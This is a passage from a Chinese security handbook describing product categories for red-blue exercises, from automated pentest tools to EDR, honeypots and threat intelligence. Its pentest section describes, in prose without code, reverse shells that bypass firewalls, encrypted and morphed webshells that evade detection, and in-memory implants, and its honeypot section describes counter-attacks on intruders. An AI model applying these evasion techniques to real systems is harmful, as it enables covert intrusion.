服务,识别对应的服务类型,寻找与之相关的漏洞插件,从而判断漏 洞是否存在。漏洞插件库包含的漏洞插件超过7000个,漏洞范围覆盖 Web、中间件、数据库、网络设备、操作系统、智能设备、移动终端、 工控设备等。漏洞探测功能能够发现的漏洞类型不限于SQL注入、 XXE、XSS、任意文件上传、任意文件下载、任意文件操作、信息泄 露、弱口令、本地文件包含、目录遍历、命令执行、错误配置。 而自动化渗透测试系统提供一键漏洞利用功能,能够执行命令、 执行SQL、上传文件、反弹Shell、上传Webshell、下载文件等。自动 化渗透测试系统提供的Web指纹库可识别超过600种CMS(内容管理系 统)。系统服务指纹能够满足常规系统服务的类型和版本识别。支持 场景化检测,可以根据需求快速定制至少包含常规测试、攻防演练、 靶场演练、安全能力评估在内的场景,从而满足定制化场景漏洞发现 的需求。单次任务不限制添加目标的数量,任务能够分布式并发执 行,从而保证高效率地发现漏洞。 2)漏洞利用功能。漏洞利用功能可以解决两个问题:一是可直接 探测指定的漏洞是否存在,如存在,则进一步自动利用此漏洞;二是 针对一些无法完全自动化发现的漏洞提供单独漏洞利用功能,例如, 在无法通过爬虫或者其他手段自动获取目标地址时,渗透人员只需要 手动填写相应的参数即可一键利用漏洞。漏洞利用功能可以把复杂的 漏洞利用过程简单化,大大提高渗透测试的效率,如通过输入Oracle 账号密码,实现一键提权、执行系统命令等效果。自动化渗透测试系 统也提供漏洞利用的高级功能,包括执行命令、执行SQL、上传文件、 反弹Shell、上传Webshell、下载文件等。 3)反弹交互式Shell功能。渗透人员可以通过内置的方法反弹交 互式Shell,该Shell与正常的Shell完全相同,可以执行vim、交互执 行操作等。自动化渗透测试系统支持所有的Unix操作系统进行远程控 制,可采用Python、Java、Bash反弹Shell,并提供示例代码方便渗透 人员快速利用该功能。此功能采用端口复用技术,使所有使用该功能 的人员可以通过同一个端口反弹Shell,并可以绕过防火墙设备对数据 连接端口的限制措施。此功能采用加密技术,保证传输的数据以密文 方式传输,从而保证远程控制无任何特征。 4)Webshell远程管理功能。自动化渗透测试系统的该功能采用加 密算法对传输的数据进行加密,保证数据传输过程中没有任何特征, 从而躲避各种流量分析设备的检测。该Webshell支持ASP、ASPX、 PHP、JSP语言编写的代码。对被控端代码进行变形处理可以绕过静态 Webshell查杀工具的检测。该功能支持文件管理、命令执行、数据库 管理、反弹Shell、文件上传、远程文件下载等。渗透人员利用该功能 可以直接管理服务器上线的文件,执行各种操作命令。自动化渗透测 试系统脚本语言提供内存马功能,保证被控服务器上没有任何文件 “落地”,恶意代码只运行在内存中,实现通过内存运行代码进行远 程控制的技术。 5)后渗透功能。通过后渗透功能对目标进行横向渗透。例如:发 现内网的网络拓扑情况,发现内网数据库漏洞,发现邮件服务器所在 的位置,甚至获取办公网段、运维主机或者域控制器的权限。 2. 产品在实战中的应用 在攻防实战前期:定期对对外提供服务的系统进行渗透测试,挖 掘可能存在的漏洞并及时修复;定期或有系统变更时对内部系统进行 渗透测试,利用工具提高漏洞挖掘的效率。在渗透测试前期,通过工 具可以进行批量信息收集,包括子域名发现、目录扫描、指纹识别 等。在渗透测试中期,可以针对目标的漏洞进行发现和利用。在渗透 测试后期,提供进入内网之后的横向渗透等功能,提升渗透测试效 果。 建议部署于内网安全管理区等区域中,在网络上保证测试目标可 达即可。 9.2.3 开源组件检测系统 开源软件为企业带来了极大便利,提高了开发效率,降低了成 本。然而,由于开源软件之间的依赖关系错综复杂,漏洞的隐蔽传染 和放大效果显著,给漏洞发现、漏洞消控带来了很大的挑战。当某个 开源软件出现漏洞时,企业可能会受到牵连。 近几年,随着开源社区的快速发展,开源软件被广泛应用,开源 软件的漏洞数量也在飞速增长。WhiteSource 2020年发布的报告显 示,开源软件漏洞呈现逐年增加的趋势,从2014年的不到2000个增加 到2019年的6000多个,增加了两倍多。 1. 设备应具有的核心功能 开源检测:对应用系统所涉及的开源组件进行精确识别,帮助企 业建立开源组件资产台账,输出每个软件系统的开源组件资产清单, 并给出对应的开源组件漏洞信息、开源协议信息、开源组件整改建议 等内容。同时,服务团队根据漏洞评估模型对输出的安全漏洞进行分 析,给出科学合理的漏洞整改优先级及整改建议,并对难以修复的开 源组件给出缓解加固建议,也可对无法修复的紧急漏洞提供验证。 2. 产品在实战中的应用 通过开展开源组件检测服务,识别应用系统所引入开源组件的安 全漏洞,对安全漏洞进行修复、加固,通过漏洞验证直观地展现存在 的安全风险,从而有效推动开发部门的整改积极性。降低应用系统开 源组件的安全风险,保障应用系统安全、稳定运行。 可通过部署开源组件产品或者购买相关服务的方式,及时跟踪开 源软件的漏洞信息,结合业务情况进行整改降低安全风险。 9.2.4 运维安全管理与审计系统(堡垒机) 运维安全管理与审计系统(堡垒机)基于认证、授权、访问、审 计的管理流程设计理念,对IT中心的网络设备、数据库、安全设备、 主机系统、中间件等资源进行统一运维管理和审计。采用旁路部署模 式切断终端对网络和服务器资源的直接访问,使用协议代理的方式, 实现运维集中化管控、过程实时监管、访问合规控制、过程图形化审 计,为企业构建一套事前预防、事中监控、事后审计的安全管理体 系。 1. 设备应具有的核心功能 1)身份认证:支持短信验证码、OTP动态口令、动态令牌、 USBKey等多因素认证,支持AD、LDAP、Radius等第三方认证。 2)账号管理:支持服务器、数据库、网络设备等密码自动代填, 支持特权账号改密以及密码拆分管理,支持账号核查、账号同步。 3)访问控制:支持账号有效期、文件传输、剪切板、显示水印、 登录时间、IP限制等维度的访问控制策略,支持敏感指令的强制阻 断、告警及二次复核的命令控制策略。 4)操作审计:支持实时监控、全程录像及字符审计;支持全文指 令搜索、定位;提供OCR工具,对图形审计进行字符转化;支持生成多 维度的系统及运维报表。 5)自动化运维:可自定义脚本及任务编排,定期、批量、自动执 行预置的脚本或运维任务。 2. 产品在实战中的应用 1)堡垒机作为集中认证授权的管理系统,一旦被攻击者攻陷、获 取了权限,其所管理的服务器就可能会被全盘接管,危害很大。因 此,在实战前需要开展集权系统检查,对堡垒机自身系统的漏洞情况 进行排查,通过升级和加固的方式保证其安全。 2)对堡垒机管理的设备的权限和账户等进行清理和排查,防止不 合理的账户被攻击者获取和利用。 堡垒机一般部署于安全管理区,可以根据网络中划分的不同安全 区域分配不同的堡垒机,提供运维管理和审计。 9.3 流量监测设备 9.3.1 流量威胁感知系统 流量威胁感知系统基于网络流量和终端EDR日志,运用威胁情报、 规则引擎、文件虚拟执行、机器学习等技术,精准发现网络中针对主 机与服务器的已知高级网络攻击和未知新型网络攻击的入侵行为,利 用本地大数据平台对流量日志和终端日志进行存储与查询,结合威胁 情报与攻击链分析对事件进行分析、研判和回溯,同时,结合边界 NDR、终端EDR及自动化编排处置可以及时阻断威胁。 1. 设备应具有的核心功能 1)高级威胁检测:运用威胁情报、文件虚拟执行、智能规则引 擎、机器学习等技术,可以检测和发现高级网络攻击与新型网络攻 击,涵盖APT攻击、勒索软件、Web攻击、远控木马、僵尸网络、窃密 木马、间谍软件、网络蠕虫、邮件钓鱼等高级攻击,并基于可视化技 术清晰地展示网络中的威胁。 2)异常行为检测:基于网络流量数据,运用大数据分析和机器学 习技术建立网络异常行为检测模型,内置非常规服务分析、登录行为 分析、邮件行为分析、数据行为分析等数种场景,实现对新型攻击和 内部违规的检测与发现。 3)告警响应处置:提供攻击告警的列表、统计、查询、调查等功 能,且提供基于ATT&CK标签分析告警的能力,并支持终端EDR联动、防 火墙NDR联动与自动化编排处置,帮助安全运营人员快速研判和处置告 警事件。 4)攻击回溯分析:支持全包取证分析,并提供线索可视化图谱拓 线分析能力(威胁狩猎),能够呈现一次攻击的完成过程,有助于对 网络攻击进行回溯和深度分析。 2. 产品在实战中的应用 1)流量全面。流量威胁感知系统的告警是否全面取决于所搜集的 流量是否全面,除了南北向的流量,也要搜集东西向的横向流量,威 胁感知的范围要尽量覆盖全网络。 2)规则优化。在日常运营及实战前,需要对威胁感知系统的告警 规则等进行优化,将网络扫描、业务正常访问等触发的告警进行调整 和优化,减少误报的告警,专注于真实的告警。 3)加密流量处理。由于业务需要,不少系统采用加密的方式保护 数据的安全,这给流量威胁感知系统带来了不小的挑战。建议在负载 均衡等设备上对加密流量进行解密,再将解密后的流量上传到流量威 胁感知系统的传感器,以便于及时发现加密流量中的威胁。 4)威胁情报库和规则库及时升级。通过及时更新威胁情报库和规 则库,就能更快地识别出流量中隐藏的风险,进而及时进行分析处 置。 流量威胁感知系统采用旁路部署的模式,将设备部署于安全管理 区,利用镜像的方式将流量镜像给探针(见图9-1)。务必将需要监测 区域的流量汇聚到探针,对用户网络中的流量进行全量检测和记录。 所有网络行为都将以标准化的格式保存于系统中,结合云端威胁情报 与本地分析平台进行对接,提供发现本地威胁的通道,并对已发现的 问题进行攻击回溯。 图9-1 实战中的部署方式或位置 9.3.2 态势感知与安全运营平台 态势感知与安全运营平台以大数据平台为基础,通过收集多元、 异构的海量日志,利用关联分析、机器学习、威胁情报等技术,帮助 企业持续监测网络安全态势,实现从被动防御向积极防御的进阶,为 安全管理者提供风险评估和应急响应的决策支撑,为安全运营人员提 供威胁发现、调查分析及响应处置的安全运营工具。 1. 设备应具有的核心功能 1)海量数据采集与存储:支持国内外常见设备的自动解析、过 滤、富化、内容转译、归一化,支持通过Syslog、DB、SNMP、 Netflow、API、镜像流量、文件等进行采集。 2)威胁情报:与高质量的威胁情报进行关联,并将其应用于关联 分析、日志匹配等场景。 3)机器学习:通过机器学习算法来提升对未知恶意软件的检测能 力。 4)威胁建模:提供多元异构数据关联分析、灵活威胁建模、丰富 的告警上下文信息展示及分布式横向扩展能力。 5)全流量检测:通过全流量检测技术,可还原数十种网络协议, 对失陷主机、网络入侵、网络病毒、异常流量、DDoS攻击等进行精准 检测。 6)态势感知:提供全网脆弱性态势、资产态势、威胁预警态势、 攻击者态势、综合安全态势、安全运营态势、外部威胁态势、内网威 胁态势、资产风险态势、业务资产外连态势、攻防演练态势等的感知 界面,分别从不同的安全运营角度对网络安全态势进行呈现。 7)威胁预警:当出现重大网络安全事件时,通过下发威胁预警 包,第一时间掌握是否遭受攻击,失陷的设备有哪些,业务是否受到 影响,网络攻击走向如何,如何进行应急处置。 8)资产风险管理:结合资产价值、脆弱性信息、威胁信息对全网 资产进行风险评估,量化风险指标,帮助企业更好地了解和应对安全 风险。 9)异常行为分析:内置企业经常遇到的安全场景分析模型,如内 网安全、安全账号安全、异地登录安全等常见场景,辅助安全运营/分 析人员进行综合判断,提高处置效率。 10)攻击回溯:可实现在海量数据中对重点攻击、重点事件进行 回溯。 11)调查取证:通过内置的调查分析工具,将安全人员能力与数 据充分整合,从而更高效、更全面地完成事件分析和判定,并将事件 过程和证据集中固化。 12)攻击链分析:根据典型的攻击模型,对不同告警自动判断其 所对应的攻击阶段,使纷繁零散的告警以攻击链的形式实现串联和还 原,帮助参演单位理解完整的事件发生过程以及每个威胁所处的攻击 阶段,解决攻击分析难和攻击过程不可视的问题。 13)攻防演练:可提供多个阶段的攻防演练模拟,如演练前进行 自查整改、模拟演示,在演练过程中进行防御处置,在演练后进行总 结汇报等。 14)响应处置:将安全事件、动作和处置指令通过配置策略的方 式有机结合起来,将不同级别、程度和危害等级的告警与短信网关、 邮件网关等通知手段灵活配置起来,实现人人、机人的通知交互。 2. 产品在实战中的应用 1)流量全面。态势感知与安全运营平台的告警是否全面取决于所 搜集的流量是否全面,除了南北向的流量,也要搜集东西向的横向流 量,态势感知与安全运营平台的范围尽量覆盖全网络。 2)规则优化。在日常运营及实战前,需要对态势感知与安全运营 平台的告警规则等进行优化,将网络扫描、业务正常访问等触发的告 警进行调整和优化,减少误报的告警,专注于真实的告警。 3)加密流量处理。由于业务需要,不少系统采用加密的方式保护 数据的安全,这给态势感知系统也带来不小的挑战,为防止因数据加 密导致监测不全面的问题,建议在负载均衡等设备上对加密流量进行 解密,再将解密后的流量到态势感知系统的传感器,及时发现加密流 量中的威胁。 4)威胁情报库和规则库及时升级。应及时更新威胁情报库和规则 库,以便更快地识别出流量中隐藏的风险,进而及时进行分析处置。 态势感知与安全运营平台采用旁路部署的模式,利用镜像的方式 将流量镜像给探针,务必将需要监测区域的流量汇聚到探针。 9.3.3 蜜罐系统 蜜罐技术本质上是一种对攻击方进行欺骗的技术。通过布置一些 作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击, 防守方可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与 方法,推测其攻击意图和动机,清晰地了解自己所面对的安全威胁, 从而通过技术和管理手段来增强实际系统的安全防护能力。 蜜罐系统好比是情报搜集系统。蜜罐好像是故意让人攻击的目 标,引诱黑客前来攻击。攻击者入侵后,你就可以知道他是如何得逞 的,随时了解针对服务器发动的最新攻击和服务器的漏洞。还可以通 过窃听攻击者之间的联系,搜集攻击者所用的种种工具,掌握他们的 社交网络。 1. 设备应具备的核心功能 1)主动诱捕:通过实时流量牵引,将指向诱饵的流量牵引到集中 式诱饵资源。 2)多设备仿真:结合云端大数据收集的数百种协议的设备指纹 (banner)库,可模仿几千种网络设备或服务。针对攻击者的一些自 动化的工具探测(如Nmap的端口扫描),可以进行较好的欺骗。 3)资产高仿:一是采用多种手段尽可能与真实资产接近,二是基 于流量数据、资产数据尽可能使仿真的资产与真实资产接近。 4)溯源取证:基于攻击特点将流量分发到对应的蜜罐,并采用主 动跟踪机制对攻击链溯源。通过情报跟踪和攻击者信息汇总跟踪机 制,形成完整的攻击画像图谱。 5)主动反制:对于步入欺骗诱捕平台的攻击者,对其进行一定程 度的反制,包括但不限于通过JSONP来反制、文件下载欺骗反制、 MySQL反制、RDP反制等。攻击反制获取的信息,包括但不限于攻击者 的浏览器隐私数据、主机账号、主机IP及端口开放情况、个人应用账 号及身份ID等。 2. 产品在实战中的应用 1)高仿资产的自动生成。仿真环境或者诱饵的仿真性直接影响蜜 罐系统的成效。在蜜罐部署期需要对业务系统进行调研,根据业务系 统重要性、仿真的工作量、必要性等维度挑选出需要仿真的系统,然 后投入人力对需要仿真的系统进行定制。可以对业务系统进行自动爬 取,并且系统还可以利用流量数据自动化构建服务。 2)协同防御。攻击诱捕系统是企业纵深防御、协同防御中极其重 要的环节,传统蜜罐非常依赖于罐内行为的审计能力,容易游离在企 业的防御体系之外,如果长时间没有明显的诱捕效果,极有可能在企 业的安全体系中被边缘化。攻击诱捕系统可以与未知威胁感知系统的 流量传感器和分析平台进行联动,实现整体的协同,提升蜜罐诱捕的 效果。 蜜罐系统基于SDN技术的网络编排和流量分析系统实时威胁检测能 力,将链路中指定威胁流量牵引至目标蜜罐及蜜网。流量牵引工作在 网络层,不破坏攻击IP与受害IP间的联网结构(见图9-2)。 图9-2 蜜罐系统在实战中的部署位置 攻击IP在扫描或渗透真实受害IP过程中,系统检测到威胁行为 后,会触发SDN联动,实时牵引后续威胁流量至指定蜜罐及蜜网。网络 牵引过程攻击者难以察觉,有效地解决了直接暴露蜜罐给攻击者而导 致的欺骗能力不足的问题。 9.4 终端防护设备 9.4.1 终端安全响应系统 终端安全响应系统(Endpoint Detection and Response,EDR) 是传统终端安全产品在高级威胁检测和响应方面的扩展与补充,它通 过威胁情报、攻防对抗、机器学习等方式,从主机、网络、用户、文 件等维度来评估企业网络中存在的未知风险,并以行为引擎为核心, 利用威胁情报,缩短威胁从发现到处置的时间,有效降低业务损失, 增强可见性,提高整体安全能力。 1. 设备应具备的核心功能 1)提供对终端行为的全面监控与数据采集,包括终端进程、IP访 问、DNS访问、IM传输、邮件传输、U盘传输、浏览器下载、文件操 作、注册表变更、账户变更等。 2)针对不同阶段的攻击路径,提供深度自动化异常检测能力,包 括对PowerShell、wmic等常被利用系统的进程检测以及常用的渗透工 具检测。 3)高可视化溯源分析展示,对可疑进程行为的攻击链路进行完整 溯源,包括所有的危害动作及影响面。 4)支持威胁情报IOC导入,提供IOC检测告警能力,对利用漏洞攻 击行为提供关联CVE信息,并关联受影响终端情况。 5)支持根据自身业务场景需求自行创建自定义异常行为检测条件 来触发告警。 6)支持威胁追踪和迹象数据搜索,例如对IM文件传输、邮件日 志、DNS访问审计、证书、操作系统信息、终端进程信息、IP访问审 计、U盘记录、驱动信息、安装的软件列表等迹象数据的搜索。 7)管理平台界面可对十万级以上客户端进行统一集中管理,包括 但不限于对所有终端的配置策略、威胁事件管理、执行处置操作等。 2. 产品在实战中的应用 通过对用户终端中的安全数据进行采集和检测,所有终端安全数 据经过压缩、加密后保存于大数据平台,结合云端威胁情报与本地分 析平台中的终端行为数据进行对接,从而发现已经感染高级威胁的终 端,对终端快速定位并进行全面的安全评估,发现终端威胁的根本原 因,触发告警从而自动进行响应,斩断威胁的链条。 在终端部署终端安全响应系统的Agent客户端,对数据进行采集和 响应。在服务器端部署终端安全响应系统控制中心(默认控制中心和 采集平台是一体的);对采集数据进行加密,同时对终端Agent进行采 集策略的制定、告警通知、威胁追踪等。在内网部署大数据分析平 台,实时存储终端的安全数据,对数据与外网威胁情报进行主动检 测,以发现沦陷终端。 9.4.2 服务器安全管理系统 服务器安全管理系统是一种服务器安全产品,通过兼容多种虚拟 化架构和操作系统,帮助企业高效实现混合数据中心架构下的服务器 安全。系统通过服务器端轻量级Agent代理、安全加固服务器系统及应 用WAF探针、RASP探针、内核加固探针,实时、有效地检测与抵御已知 和未知的恶意代码与黑客攻击;通过融合资产管理、微隔离、攻击溯 源、自动化运维、基线检查等功能,高效、安全地运维服务器。 1. 设备应具备的核心功能 1)资产清点:细粒度清点主机、网站、账户、端口、应用等服务 器信息资产,并关联对应的安全风险和漏洞,进行事前防御,缩小攻 击面。 2)基线检查:内置CIS安全检查、等级保护、系统配置核查等多 维度安全基线,并支持自定义设置,进行高效安全自检,及时发现业 务风险和合规风险。 3)安全加固:通过内核探针对服务器进行安全加固,实现禁止非 法提权、禁止恶意代码执行、禁止加载没有数字签名的驱动、文件防 篡改等驱动级安全防护。 4)网络攻击防御:通过Web中间件流量过滤探针,高效检测恶意 网络流量,有效抵御CC攻击、SQL注入、XSS跨站等常规网络攻击;基 于脚本虚拟机(沙箱)的无签名Webshell检测技术,有效检测各种加 密Webshell、变形Webshell等未知安全威胁。 5)运行时应用自我防护:通过RASP技术对应用系统的流量、上下 文、行为进行持续监控,有效检测并防御任意文件读写、命令执行、 文件上传、反序列化、Struts2漏洞、变形Webshell等已知和未知安全 威胁。 6)流可视化与微隔离:流可视化技术能可视化展现业务系统数据 流向,帮助安全运维人员实时、准确把握内网服务器的访问关系(端 口、应用、访问频率)。微隔离技术基于服务器分布式防火墙技术, 可以自定义基于角色、标签的服务器访问控制策略,防止攻击者入侵 内部业务网络后的东西向移动。 7)攻击溯源:基于内核探针和应用探针准确定位攻击者入侵轨 迹,将安全日志聚合,及时发现服务异常登录、应用漏洞、未知 Webshell等多种类型的安全事件,并提供详细的图形化IOC,包含攻击 者IP、攻击目标、操作手段、落地文件等信息,帮助参演单位快速定 位黑客入侵点。 2. 产品在实战中的应用 1)服务器异常行为分析:采用服务行为识别和分析技术,通过关 联主要服务名称(路径)和端口号对服务器的网络外连、命令执行、 文件创建等行为进行监控与学习,并形成行为基线白名单策略。当服 务器存在漏洞并被攻击者利用,产生非白名单范围内的网络外连、命 令执行、文件创建等行为(偏离行为基线)时,系统可进行阻断或告 警。 2)应用动态防护(Runtime application self-protection, RASP):对Web应用的文件读写、命令执行、数据库操作、网络连接等 行为进行监控,当发生异常行为时,通过对Web请求的上下文进行分 析,实现对威胁行为的检测及处置。 服务器安全管理系统为软件形态,采用Agent、管理控制中心结合 的方式,为用户解决私有云、公有云和单机主机环境中可能遇到的服 务器管理问题、安全问题、合规问题。 9.4.3 虚拟化安全管理系统 虚拟化安全管理系统是面向云计算或虚拟化环境的一站式安全产 品。产品支持vSphere、XEN、KVM、Hyper-V等虚拟化环境,OpenStack 等云计算平台,提供Hypervisor防护、云主机系统加固、恶意软件防 护、应用程序管控等功能,并支持异构虚拟化平台统一管理,为参演 单位的云数据中心保驾护航。 1. 设备应具备的心功能 1)恶意软件防护:虚拟化安全管理系统防恶意软件模块可提供恶 意软件防护,通过实时扫描、预设扫描及手动扫描,对恶意软件(包 括勒索软件、病毒、蠕虫、木马后门等)采取清除、删除、拒绝访问 或隔离等处理措施。检测到恶意软件时,可以生成警报日志。 2)虚拟防火墙:虚拟化安全管理系统防火墙模块具有企业级、双 向性和状态型特点,可用于启用正确的服务器运行所必需的端口和协 议上的通信,并阻止其他所有端口和协议,降低对服务器进行未授权 访问的风险。 3)入侵防御:虚拟化安全管理系统入侵防御模块能够对暴力破 解、缓冲溢出、漏洞利用等网络攻击行为进行检测和拦截。同时,依 托全球众测网络和威胁预警平台,紧急情况下可对新发现的漏洞攻击 方式提供小时级响应,无须重新启动系统即可在数分钟内将这些规则 应用到数以千计的服务器上,实现虚拟补丁的功能。 4)安全基线:虚拟化安全管理系统对宿主机及虚拟机通过设定预 置检查基线的方式,对目标系统展开安全检查,找出不符合的项目, 选择和实施安全措施来控制安全风险,并通过对历史数据的分析获得 业务系统安全状态和变化趋势,保障云环境的安全。 5)Webshell检测:虚拟化安全管理系统集成了自研的Webshell扫 描引擎,可对各种Webshell后门文件进行扫描与隔离,有效对主机进 行安全加固,抵御来自外来Web漏洞利用的攻击。 2. 产品在实战中的应用 可部署在物理服务器、虚拟化、容器、私有云、公有云,为云工 作负载和物理服务器提供统一的安全防护。管理中心接收安全组件上 传的安全事件和网络流量日志,通过多维度、细粒度的大数据分析, 以可视化的形式展现,从而帮助用户对已知威胁进行溯源,并对未知 威胁进行预警。 9.4.4 终端安全准入系统 终端安全准入系统(Networks Access Control,NAC)主要用于 解决设备接入的安全防护、入网安全的合规性检查、用户和设备的实 名制认证、核心业务和网络边界的接入安全、接入的追溯和审计等管 理问题,避免网络资源受到非法终端接入所引起的安全威胁。该系统 提供从接入感知、资产发现、访客管理、身份认证、安全检查、隔离 修复、访问控制到入网追溯的一站式准入控制流程,有效管理用户和 终端的接入行为,保障终端入网的安全可信,使内部网络接入变得安 全、透明、可控,同时满足信息安全等级保护法规要求。 1. 设备应具有的核心功能 1)核心资源访问准入控制:支持多种入网控制策略,防止非法终 端访问核心业务资源。 2)网络边界接入层准入控制:支持标准802.1x认证,根据身份授 权确定终端的网络访问权限,具备从认证授权、入网检查、隔离修 复、访问控制到入网追溯的一站式网络边界准入控制管理能力。 3)入网安全检查:支持多种入网合规检查策略,包括杀毒软件是 否安装、应用软件是否安装、风险端口检查、非法外连检查、进程及 注册表检查、防火墙是否启用、账号安全检查、U盘是否开启自动运 行、远程桌面是否开启、文件共享是否开启等,全面隔离“危险”终 端,并支持安全检查,对不合规的终端进行隔离后,自动修复及引导 修复的管理流程。 4)资产发现:支持网络资产的发现和统计。通过资产扫描,对网 络中设备的类型和数量进行分类统计,能够识别网内接入设备的类 型、品牌、操作系统、网络信息(IP、MAC)、位置信息、开放端口、 运行服务等,以便信息管理人员更加全面地认识资产情况及风险。 5)访客管理:提供访客入网管理流程。访客申请注册账号、通过 管理员授权后,才可访问网络资源。可针对不同访客角色进行资源访 问权限控制、访问有效时间设置等操作。 6)安全域与访问控制管理:基于动态检测技术和安全策略管理, 可针对认证用户和终端进行网络访问控制和安全域划分,满足不同强 度的访问控制要求。 7)认证绑定管理:支持多种条件绑定认证,可将用户和终端、交 换机、VLAN、ACL、端口、认证关联执行程序等进行绑定认证,并可设 置入网有限期和用户在线数量控制等,提高入网安全强度。 8)认证联动管理:认证支持本地用户管理库系统,并可扩展多种 第三方认证源联动认证,例如AD认证、LDAP认证、E-mail认证、HTTP 认证、集成认证等,适应多种网络环境,满足实名制、统一认证管理 要求。 9)日志报表:支持详尽的接入认证和安全检查日志报表,可提供 接入认证日志和报表、安检日志和报表、安全检查统计分析等多维度 信息数据的查询审计。管理员可通过日志数据追溯及分析全网终端的 接入安全状况。 2. 产品在实战中的应用 准入系统可以有效防止近源攻击时攻击人员通过网络直接接入网 络的情况。准入系统在各类型终端设备接入前先要经过设备身份识 别,只有符合相关安全标准的设备才被允许正常进行上行数据传输和 信令交互。准入系统将为每一个接入混合网的终端设备自动学习模 型,建立设备指纹身份,并将身份和配置与行为进行绑定管理。通过 行为感知、指纹识别等技术,当有非法终端仿冒摄像头接入网络时, 准入系统能够迅速发现并通过制定安全策略等手段进行处置,防止 IP、MAC伪造;通过指纹特征信息,防止设备层面的伪造,杜绝非法接 入和仿冒行为。 终端安全准入系统支持集中管理和多级管理来满足不同组织的管 理需求,设备支持集中式和分布式部署来适应多样的接入网络环境。 设备区域部署将实现区域接入网络的资产可见、活动可知、设备可 控。 9.4.5 终端安全管理系统 终端安全管理系统是一体化终端安全解决方案,集防病毒、终端 安全管控、终端准入、终端审计、外设管控、EDR等功能于一体,兼容 不同操作系统和计算平台,帮助企业实现平台一体化、功能一体化、 数据一体化的终端安全立体防护。 1. 设备应具有的核心功能 1)病毒查杀:集成多种病毒检测引擎,可支持对蠕虫病毒、恶意 软件、勒索软件、引导区病毒、木马等恶意文件的有效查杀。针对漏 洞攻击,提供针对指令控制流的检测技术,可从系统底层发现漏洞攻 击代码的执行,且对于0day漏洞也有着显著的防护效果。 2)资产管理:可按需收集终端的软硬件信息,包括硬件信息、操 作系统信息、终端登记信息;支持统一展示,支持企业按需筛选并产 生报表,方便企业进行资产的收集与统计。 3)补丁管理:解决企业多网络环境下的补丁下载与安全更新问 题,提供云端下载和离线下载工具。可针对漏洞进行多维关联,提供 按需修复策略,有效提升企业信息系统的整体漏洞防护等级。 4)安全运维管控:支持对终端应用程序、网络防护、违规外连、 外设使用、桌面加固等多个维度进行安全管控,避免发生安全事件, 并对终端尝试的违规动作给出告警信息。 5)移动存储管控:给予不同的移动存储介质相应的授权适用范围 和读写权限,同时支持设备状态的追踪与管理,实现对移动存储设备 的灵活管控,保证终端与移动存储介质进行数据交换和共享过程中的 信息安全。 6)安全网络准入控制:支持旁路镜像应用准入、802.1x认证、 Portal认证、AD认证、复合认证等多种网络认证技术,适应各种复杂 网络环境下的接入部署,支持大型多分支机构的网络部署。 7)安全审计:通过分组、时间、文档类型等多视角、多维度、多 层次,对终端文件的操作行为、输出行为、打印行为、光盘刻录行 为、邮件收发行为进行完善的审计。 8)报表管理:支持对终端安全日志、漏洞修复日志、病毒日志、 软硬件变更日志、审计日志、资产日志等进行汇总,并进行报表统 计。能够从终端、全网、分组等多维度以及图表、数据等多视图角度 进行统计与展现,帮助企业对日常安全防护、安全运维工作进行分析 与评估。 2. 产品在实战中的应用 终端是一切恶意攻击的“着陆点”,而网络边界是恶意攻击要突 破的第一道防线,作为安全防护体系部署的重要阵地,部署于终端与 网络边界的安全措施应实现数据共享、协同防御及联动处置。 终端安全管理系统应与下一代防火墙(NGFW)、互联网控制网关 (ICG)等产品实现深度的终端数据共享,为边界安全产品提供多维的 访问控制决策支撑,实现端网协同防控。 此外,终端安全管理系统也可基于标准接口,接收并执行由威胁 感知系统、安全运营中心下发的威胁处置指令,实现网络侧及终端侧 的协同处置,大幅提升对攻击事件的响应效率。 在产品部署方面,在网络内部署管理中心,在线安装或者通过离 线安装包安装客户端。管理中心通过互联网连接到云端的升级服务器 进行升级、更新,然后客户端通过管理中心统一进行升级、更新及策 略下发,可以极大节省企业总出口带宽。 客户端会根据管理中心下发的安全策略,进行体检、杀毒和漏洞 修复等安全操作。可以设定终端是从管理中心更新病毒库、补丁库还 是从互联网更新。 终端可连接云端进行云查杀,极大提高对终端病毒的查杀能力。 9.5 威胁情报系统 单纯采用基于攻击特征或者漏洞的防御方式往往防不胜防。需要 基于威胁的视角,了解攻击者可能攻击的目标、使用的攻击工具和方 法,以及所掌握的传输武器的互联网基础设施情况,有针对性地进行 防御、检测、响应和预防,这就需要收集足够多的威胁情报。依靠分 析威胁情报得出的威胁可见性以及对网络风险和威胁的全面理解,可 以快速发现攻击事件,采取迅速、果断的行动应对威胁。威胁情报搜 集及分析已经成为网络安全中不可或缺的一环。 1. 设备应具有的核心功能 1)报警研判:通过集成多方的威胁情报和基础网络数据,使安全 人员可以对报警有比较明确的判断。具体的威胁情报和基础网络数据 包括相关域名、IP历史上是否被发现恶意攻击行为,是否有与域名和 IP相关的已知恶意软件,访问来源是否可疑(如IDC服务器作为终端来 访问Web应用,通过Tor、VPN、代理的访问)等。 2)攻击定性:可以通过多种方式获得与攻击相关的目的、危害、 技战术等方面的信息,例如已知IOC的详细上下文、聚合的主要安全厂 商安全报告及博客、关联网络基础设施所有者其余IT资源的标注上下 文信息等。 3)关联分析:攻击者在进行攻击的时候,可能会在多次攻击中使 用相同的IT资源,因此,通过关联分析把握黑客手中的其他IT资源, 就能够知道黑客进行的其他攻击事件。这种关联分析方式不但有助于 对报警IP、域名的判别以及对攻击上下文的了解,还能更全面地掌握 黑客的攻击目的及历史行为等,甚至溯源到攻击者的社会身份。 4)结合多AV引擎检测、虚拟环境行为分析、威胁情报关联、自动 化文件标签、启发式检测等技术,提供更精准的检测结果、更具体的 威胁类别及更直观的分析结果,可以满足多个场景下对恶意软件的检 测、研判和分析需求。 2. 产品在实战中的应用 威胁情报系统平台基于云端大数据提供SaaS服务的系统,可通过 用户名、密码、验证码登录,对情报进行查询和使用通过对不限于 IP、域名、样本文件的分析结果,能够为安全运营人员基于二次分 析、报警研判、攻击定性、黑客画像及持续跟踪等提供有力支持。 1)APT情报:通过对第三方公开的APT事件和对已有APT团伙的持 续跟踪,监控组织是否被APT攻击影响,并确定内部受控主机,防止重 大损失发生。 2)失陷情报:通过对僵尸网络、蠕虫木马、后门软件、黑客工具 等恶意事件的检测,发现内部被黑客控制的主机,防止个人及组织信 息泄露或成为攻击跳板。 3)文件信誉情报:通过本地查杀、云查杀,结合主动防御、沙箱 技术、非白即黑的先进防御技术,提供可靠的文件信誉判定结果。 4)IP信誉情报:如是否有历史攻击行为(包括是否是僵尸网 络),是否进行了暴力破解,是否进行了DDoS攻击,是否进行了扫描 